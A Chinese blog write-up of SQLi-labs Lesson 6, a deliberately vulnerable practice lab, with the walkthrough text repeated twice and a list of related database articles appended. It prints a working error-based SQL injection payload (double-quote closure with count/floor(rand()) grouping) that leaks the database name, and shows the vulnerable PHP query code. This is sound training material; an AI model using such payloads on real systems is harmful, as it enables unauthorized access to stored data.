SQLi Labs Lesson6
2016-08-02 18:38
260 查看
Lesson-6 Double Query - Double Quotes - String
首先进入欢迎界面。
构造?id=1,结果如图所示。
构造?id=1‘,结果和上图一致,没有任何变化。
根据前面的学习,猜测,应该是$id包含在两个双引号之间。
构造?id=1",结果如图所示。
证明猜测的正确。
上节是闭合单引号,这节是双引号,直接将上节payload的双引号改为单引号。
?id=1" and (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit
0,1) --+
得到数据库为security。
后台php源代码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
首先进入欢迎界面。
构造?id=1,结果如图所示。
构造?id=1‘,结果和上图一致,没有任何变化。
根据前面的学习,猜测,应该是$id包含在两个双引号之间。
构造?id=1",结果如图所示。
证明猜测的正确。
上节是闭合单引号,这节是双引号,直接将上节payload的双引号改为单引号。
?id=1" and (select 1 from (select count(*),concat(database(), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit
0,1) --+
得到数据库为security。
后台php源代码
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
相关文章推荐
- SQL Server 中WITH (NOLOCK)浅析
- SQLServer性能优化
- dubbo+zookeeper+redis安装(Windows环境)^_^
- MySQL B+树索引和哈希索引的区别
- OracleOraDb11g_home1TNSListener服务启动后又自动停止
- 使用mysqldump导入数据和mysqldump增量备份(mysqldump使用方法)
- mysql---整体备份和增量备份
- Mysqldump参数大全
- mysqldump默认参数add-drop-table
- mysqlbinlog 恢复指定表
- 【Redis】Redis的介绍与安装部署
- mysqldump使用方法
- 巡检查看数据库Process 连接数
- 生产环境oracle 数据库迁移操作
- MySQL分库分表
- 数据库连接池简析
- MYSQL分库分表总结
- Mysql学习笔记九,优化篇,SQL优化
- LNMP环境搭建ZABBIX3.0
- mysql读写分离的完整配置